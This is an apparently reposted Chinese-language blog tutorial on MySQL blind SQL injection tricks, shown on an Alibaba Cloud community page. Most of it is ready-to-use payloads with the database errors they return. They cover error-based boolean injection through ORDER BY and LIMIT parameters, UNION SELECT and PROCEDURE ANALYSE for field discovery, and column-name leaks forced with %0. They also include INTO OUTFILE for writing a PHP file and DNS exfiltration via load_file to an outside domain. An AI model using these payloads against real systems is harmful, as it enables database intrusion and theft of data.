Mysql 另類盲注中的一些技巧

來源:互聯網
上載者:User

標籤:

很多技巧從國外的paper學到的,不過國內沒有多少人使用,所以發出來,筆記下~

一、order by 的參數注入技巧:
兩種方法,思路都一樣。

example. “select username,password from uc_members order by”.$_GET[‘oderby‘]

a.常見的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。

b.國外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回錯誤:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。

二、limit 的參數注入技巧:

a.order by之後的limit參數 的注入,因為正常的sql語句order by後無法接union,所以沒有好辦法,就一個雞肋思路:into outfile ‘/www/root/xxx.php‘;

b.limit前無order by時的注入,那就方便多了,後面可以直接接union select ,隨便怎麼注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
這裡還有個技巧,使用procedure analyse可以擷取欄位名稱:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不過procedure analyse同樣不能使用在order by之後:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 - Can‘t use ORDER clause with this procedure

三、無法猜測欄位時的技巧:

在mysql5以下版本或者information_schema 無法訪問的時候,無法猜到某個表的欄位名,於是可以採用這個辦法,在子查詢中使用%0,報錯獲得列名。以ucenter的uc_members為例。

1.猜測列數:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回錯誤:#1241 - Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column ‘uid‘ cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回錯誤:#1048 - Column ‘username‘ cannot be null
5. ……

註:5.1以上版本不適用,欄位必須為非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者頁面無論and 1=1還是and 1=2的時候返回都一模一樣,這個時候利用dns進行注入是個不錯的方法,前提是win環境root許可權下的mysql,利用load_file函數讀取遠程檔案的思路。本地搭建一個dns伺服器,然後將特定網域名稱的NS server轉過來。然後進行注入,並抓包。

本地測試了下(實際注入中單引號可以編碼):select load_file(concat(‘\\\\aaa1.‘,(select user()),‘.oldjun.com\\a.txt‘)),抓包成功獲得select的結果:
2928.524843192.168.9.107192.168.1.2DNSStandard query A [email protected]


Mysql 另類盲注中的一些技巧

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.